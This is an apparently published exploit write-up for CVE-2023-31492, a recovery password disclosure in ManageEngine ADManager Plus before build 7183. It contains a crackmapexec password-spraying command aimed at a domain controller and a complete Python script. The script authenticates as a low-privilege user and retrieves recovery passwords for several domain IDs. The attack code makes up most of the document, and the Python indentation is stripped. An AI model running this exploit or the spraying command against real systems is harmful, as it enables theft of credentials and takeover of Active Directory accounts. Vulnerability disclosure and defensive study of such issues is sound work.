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ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure (CVE-2023-31492)

The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover. When deleted user accounts are restored, defined password is set to the user accounts.
The helpdesk technician user that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment

Proof of Concept

PoC Request
  • The password of other domains (if it is set) can be viewed changing req parameter value such as {"domainId":"2"}
  • We can conduct password spraying to inspect restored account if the password is not changed after the account restoration.
crackmapexec smb <target-DC> -u users.txt -p unsafe.local@2023 --continue-on-success

The Exploit

# Exploit Title: ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/ad-manager/
# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md
# Version: ADManager Plus Build < 7183
# Tested against: Build 7180
# CVE: CVE-2023-31492
import argparse
import requests
import urllib3
import sys
"""
The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover.
When deleted user accounts are restored, defined password is set to the user accounts.
Helpdesk technician that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment.
"""
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def getPass(target, auth, user, password):
with requests.Session() as s:
if auth.lower() == 'admanager':
auth = 'ADManager Plus Authentication'
data = {
"is_admp_pass_encrypted": "false",
"j_username": user,
"j_password": password,
"domainName": auth,
"AUTHRULE_NAME": "ADAuthenticator"
}
# Login
url = target + 'j_security_check?LogoutFromSSO=true'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
"Content-Type": "application/x-www-form-urlencoded"
}
req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
if 'Cookie' in req.request.headers:
print('[+] Authentication successful!')
elif req.status_code == 200:
print('[-] Invalid login name/password!')
sys.exit(0)
else:
print('[-] Something went wrong!')
sys.exit(1)
# Fetching recovery password
for i in range(1, 6):
print('[*] Trying to fetch recovery password for domainId: %s !' % i)
passUrl = target + 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' + str(i) + '%22%7D'
passReq = s.get(passUrl, headers=headers, allow_redirects=False, verify=False)
if passReq.content:
print(passReq.content)
def main():
arg = get_args()
target = arg.target
auth = arg.auth
user = arg.user
password = arg.password
getPass(target, auth, user, password)
def get_args():
parser = argparse.ArgumentParser(
epilog="Example: exploit.py -t https://target/ -a unsafe.local -u operator1 -p operator1")
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
parser.add_argument('-a', '--auth', required=True, action='store',
help='If you have credentials of the application user, type admanager. If you have credentials of the domain user, type domain DNS name of the target domain.')
parser.add_argument('-u', '--user', required=True, action='store')
parser.add_argument('-p', '--password', required=True, action='store')
args = parser.parse_args()
return args
main()
Output Of The Exploit
# Author: Metin Yunus Kandemir